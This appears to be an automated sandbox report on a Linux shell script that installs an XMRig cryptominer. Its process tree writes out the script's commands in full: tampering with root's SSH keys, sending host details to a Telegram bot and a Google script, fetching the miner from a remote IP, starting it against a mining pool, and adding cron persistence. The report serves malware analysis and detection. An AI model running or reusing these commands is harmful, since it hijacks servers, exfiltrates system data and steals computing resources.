Analysis
- max time kernel
659s - max time network
899s - platform
ubuntu-24.04_amd64 - resource
ubuntu2404-amd64-20260126-en - resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20260126-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system - submitted
09/05/2026, 17:13
Static task
static1
Behavioral task
behavioral1
Sample
payload.sh
Resource
ubuntu2404-amd64-20260126-en
General
- Target payload.sh
- Size 3KB
- Sample260509-vrld4aes4m
- SHA256 cf42d2c3443e387451e95a244bacd0cb09fed41a8bd8855bc3e0d1ec16622af0
- MD5 c277a57fc17b2edde0007adafef49449
- SHA1 51742ae576f00c24f1bfb0ddb264ca5c25d44e2c
- SHA512 85db4a8db9aee76da63e37ac9f57a292a0f36ff0452782c0cb8bd9d4256ed8601031bad2bf03340255daf9ac645d0dad2f9c9aa826b7c93e7dfe140dfbebfe5d
- TLSH T16581E9F5B1B88FB5710C6457F8606E493CA3153F0FA76F10A0982C6266BD378A31B224
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-1.dat family_xmrig behavioral1/files/fstream-1.dat xmrig - Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys payload.sh - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2100 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.sys_d 2101 nohup - Attempts to change immutable files 2 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2045 chattr 2047 chattr - Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name .sys_d File opened for reading /sys/devices/virtual/dmi/id/board_vendor .sys_d File opened for reading /sys/devices/virtual/dmi/id/bios_vendor .sys_d File opened for reading /sys/devices/virtual/dmi/id/sys_vendor .sys_d - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.GS0JDa crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 53 api.ipify.org 2 api.ipify.org 3 api.ipify.org 4 api.ipify.org 51 api.ipify.org 52 api.ipify.org - Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_type .sys_d File opened for reading /sys/devices/virtual/dmi/id/bios_version .sys_d File opened for reading /sys/devices/virtual/dmi/id/bios_date .sys_d File opened for reading /sys/devices/virtual/dmi/id/product_version .sys_d File opened for reading /sys/devices/virtual/dmi/id/product_uuid .sys_d File opened for reading /sys/devices/virtual/dmi/id/board_name .sys_d File opened for reading /sys/devices/virtual/dmi/id/board_version .sys_d File opened for reading /sys/devices/virtual/dmi/id/board_serial .sys_d File opened for reading /sys/devices/virtual/dmi/id/chassis_version .sys_d File opened for reading /sys/devices/virtual/dmi/id/chassis_serial .sys_d File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag .sys_d File opened for reading /sys/devices/virtual/dmi/id/product_serial .sys_d File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag .sys_d File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor .sys_d - Changes its process name 4 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself libuv-worker 2105 .sys_d Changes the process name, possibly in an attempt to hide itself libuv-worker 2106 .sys_d Changes the process name, possibly in an attempt to hide itself libuv-worker 2107 .sys_d Changes the process name, possibly in an attempt to hide itself libuv-worker 2108 .sys_d - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .sys_d - Reads CPU attributes 1 TTPs 47 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition .sys_d File opened for reading /sys/devices/system/cpu/possible pkill File opened for reading /sys/devices/system/cpu/online .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency .sys_d File opened for reading /sys/devices/system/cpu/possible .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition .sys_d File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level .sys_d File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map .sys_d - Enumerates kernel/hardware configuration 1 TTPs 28 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/firmware/dmi/tables/DMI .sys_d File opened for reading /sys/kernel/mm/hugepages .sys_d File opened for reading /sys/bus/dax/devices .sys_d File opened for reading /sys/devices/system/node/node0/access1/initiators .sys_d File opened for reading /sys/devices/system/node/node0/access0/initiators .sys_d File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth .sys_d File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages .sys_d File opened for reading /sys/devices/cpu_atom/cpus .sys_d File opened for reading /sys/devices/system/node/online .sys_d File opened for reading /sys/devices/system/node/node0/meminfo .sys_d File opened for reading /sys/devices/system/node/node0/hugepages .sys_d File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages .sys_d File opened for reading /sys/firmware/dmi/tables/smbios_entry_point .sys_d File opened for reading /sys/fs/cgroup/cpuset.cpus.effective .sys_d File opened for reading /sys/fs/cgroup/cpuset.mems.effective .sys_d File opened for reading /sys/devices/system/cpu .sys_d File opened for reading /sys/devices/cpu_core/cpus .sys_d File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages .sys_d File opened for reading /sys/devices/system/node/node0/cpumap .sys_d File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth .sys_d File opened for reading /sys/devices/virtual/dmi/id .sys_d File opened for reading /sys/devices/system/node pkill File opened for reading /sys/bus/soc/devices .sys_d File opened for reading /sys/devices/cpu_lowpower/cpus .sys_d File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages .sys_d File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages .sys_d File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency .sys_d File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency .sys_d -
description ioc Process File opened for reading /proc/131/status pkill File opened for reading /proc/386/status pkill File opened for reading /proc/1471/cgroup pkill File opened for reading /proc/18/stat pkill File opened for reading /proc/37/cmdline pkill File opened for reading /proc/50/cgroup pkill File opened for reading /proc/164/stat pkill File opened for reading /proc/1104/status pkill File opened for reading /proc/1271/status pkill File opened for reading /proc/1468/cmdline pkill File opened for reading /proc/1751/cgroup pkill File opened for reading /proc/4/cgroup pkill File opened for reading /proc/159/cgroup pkill File opened for reading /proc/1425/cmdline pkill File opened for reading /proc/1680/cmdline pkill File opened for reading /proc/790/stat pkill File opened for reading /proc/1376/stat pkill File opened for reading /proc/1661/stat pkill File opened for reading /proc/1680/ctty pkill File opened for reading /proc/26/status pkill File opened for reading /proc/386/stat pkill File opened for reading /proc/1438/status pkill File opened for reading /proc/1847/stat pkill File opened for reading /proc/167/stat pkill File opened for reading /proc/1508/status pkill File opened for reading /proc/13/cgroup pkill File opened for reading /proc/575/status pkill File opened for reading /proc/582/cmdline pkill File opened for reading /proc/989/stat pkill File opened for reading /proc/1445/cgroup pkill File opened for reading /proc/1466/cmdline pkill File opened for reading /proc/1471/cmdline pkill File opened for reading /proc/235/cgroup pkill File opened for reading /proc/1501/ctty pkill File opened for reading /proc/57/status pkill File opened for reading /proc/158/ctty pkill File opened for reading /proc/1024/stat pkill File opened for reading /proc/1046/stat pkill File opened for reading /proc/1468/stat pkill File opened for reading /proc/71/stat pkill File opened for reading /proc/583/cmdline pkill File opened for reading /proc/1449/cgroup pkill File opened for reading /proc/3/ctty pkill File opened for reading /proc/46/cmdline pkill File opened for reading /proc/48/cgroup pkill File opened for reading /proc/258/status pkill File opened for reading /proc/390/cgroup pkill File opened for reading /proc/1546/ctty pkill File opened for reading /proc/1821/cgroup pkill File opened for reading /proc/1973/stat pkill File opened for reading /proc/1022/cmdline pkill File opened for reading /proc/1425/cgroup pkill File opened for reading /proc/2037/ctty pkill File opened for reading /proc/131/stat pkill File opened for reading /proc/387/status pkill File opened for reading /proc/1312/ctty pkill File opened for reading /proc/17/ctty pkill File opened for reading /proc/171/cgroup pkill File opened for reading /proc/793/cgroup pkill File opened for reading /proc/1093/cgroup pkill File opened for reading /proc/1814/ctty pkill File opened for reading /proc/3/stat pkill File opened for reading /proc/53/cgroup pkill File opened for reading /proc/63/cmdline pkill - System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 2049 curl 2102 curl - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.sys_d curl - cURL User-Agent 3 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 14 curl/8.5.0 HTTP User-Agent header 50 curl/8.5.0 HTTP User-Agent header 63 curl/8.5.0
Processes
-
/tmp/payload.sh/tmp/payload.sh1⤵
- Adds new SSH keys
PID:2041 -
/usr/bin/mkdirmkdir -p /root/.ssh2⤵PID:2042
-
-
/usr/bin/chmodchmod 700 /root/.ssh2⤵PID:2044
-
-
/usr/bin/chattrchattr -i /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:2045
-
-
/usr/bin/chmodchmod 600 /root/.ssh/authorized_keys2⤵PID:2046
-
-
/usr/bin/chattrchattr +i /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:2047
-
-
/usr/bin/curlcurl -s https://api.ipify.org2⤵
- System Network Configuration Discovery
PID:2049
-
-
/usr/bin/hostnamehostname2⤵PID:2060
-
-
/usr/bin/unameuname -m2⤵PID:2061
-
-
/usr/bin/nprocnproc2⤵PID:2062
-
-
/usr/bin/awkawk "/Mem:/{print \$2}"2⤵PID:2065
-
-
/usr/bin/freefree -h2⤵PID:2064
-
-
/usr/bin/curlcurl -s -X POST https://api.telegram.org/bot8798753964:AAGwS79VVSH4VZNzWtNNEtuTWYhf9tRpB_s/sendMessage -d "chat_id=6106929302&text=🏴☠️ *Vortex Apex Hit!*%0A*IP:* `66.56.80.220`%0A*Arch:* `x86_64`%0A*Cores:* `1`%0A*RAM:* `1.9Gi`&parse_mode=Markdown"2⤵PID:2066
-
-
/usr/bin/hostnamehostname2⤵PID:2068
-
-
/usr/bin/curlcurl -L -H "Content-Type: application/json" -X POST -d "{\"id\":\"Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3\",\"ip\":\"66.56.80.220\",\"hostname\":\"ubuntu2404-amd64-20260126-en-3\",\"os\":\"Linux\",\"arch\":\"x86_64\",\"cores\":\"1\",\"ram\":\"1.9Gi\"}" https://script.google.com/macros/s/AKfycbzerXY7bhMQhVX5ectM6V_2kXQkD489E67LsmCyhlY5pB6GlXKtiyY4DqFvvK0-wm23/exec2⤵PID:2069
-
-
/usr/bin/pkillpkill -9 -f "xmrig|kinsing|kdevtmpfsi|.sys_d"2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2072
-
-
/usr/bin/curlcurl -sL http://103.214.69.210:80/xmrig_x64 -o /tmp/.sys_d2⤵
- Writes file to tmp directory
PID:2073
-
-
/usr/bin/chmodchmod +x /tmp/.sys_d2⤵
- File and Directory Permissions Modification
PID:2100
-
-
/usr/bin/curlcurl -s "http://103.214.69.210:8448/verify?ip=66.56.80.220"2⤵
- System Network Configuration Discovery
PID:2102
-
-
/usr/bin/nohupnohup /tmp/.sys_d -o pool.hashvault.pro:443 -u 47516PMKyH5PE5PN9McCwFJYbtC3rdBpDLpHwSKMcRre5Zq6o6XqExe7uc6PuofTSU2xTcoECwNovMZWLB4NDtmWBoesFkR -p Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3 "--cpu-max-threads-hint=50" "--donate-level=1" --tls --background2⤵
- Executes dropped EXE
PID:2101
-
-
/tmp/.sys_d/tmp/.sys_d -o pool.hashvault.pro:443 -u 47516PMKyH5PE5PN9McCwFJYbtC3rdBpDLpHwSKMcRre5Zq6o6XqExe7uc6PuofTSU2xTcoECwNovMZWLB4NDtmWBoesFkR -p Vortex_66.56.80.220_ubuntu2404-amd64-20260126-en-3 "--cpu-max-threads-hint=50" "--donate-level=1" --tls --background2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:2101
-
-
/usr/bin/grepgrep -v payload.sh2⤵PID:2112
-
-
/usr/bin/crontabcrontab -l2⤵PID:2111
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:2110
-
-
/usr/bin/rmrm -f /tmp/payload.sh2⤵PID:2113
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/.sys_d
- Size 9.4MB
- SHA256 031b92a39c0fbe9e8c7737c8e6e8568e4b64b931f9a0dcf42ecd7109818d5785
- MD5 1770f81193143cacdcb99e0fefebe0fd
- SHA1 e60630407489aff8657f886c0e82b1dceee84784
- SHA512 b989e0fd0565919e306faf8f947f1ed3dc08baf75f8be960e5933d37ed9dad115fb7b35baa21492884b2a1c480faa54b1d31c555a3e31e838bb40315271b8c47
- SSDEEP 98304:A6dHdn77nxctpuk1I7r73tXL+yntS1gm/EkaA0MbRXiYrjnoyMHejjA212x4ayju:A+xwiYdjjSlzoLJ+oWOVH/ppheUVvs
- TLSH T1A3A65A07B5A314FDC1AAC530476FD672FA30789441657ABB76A4DA302F63E201B2DFA1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.GS0JDa
- Size 240B
- SHA256 3427f41c6f2a481d3412e6bdbdf216ad0f00e1c0767515e9acfb198cf389b527
- MD5 fb5b83815c0a310dcf255f5bdce0d97d
- SHA1 72e32562bfda349b89be665c84ff7176f2fb124b
- SHA512 e4d87837e45710ab614a282576470925b9b2c5150aa33c2890b3eac4148d1ef83ddb70d78d11076a373b94b060d943e3e3a19a023a51a8956d7c175b16a85438
- TLSH T1D1D0A76D2B2075346EC6AB14117A0E2C9C52F07E94895E51E29D0024131B7AA6B655B1
- MD5 SHA1 SHA512 TLSH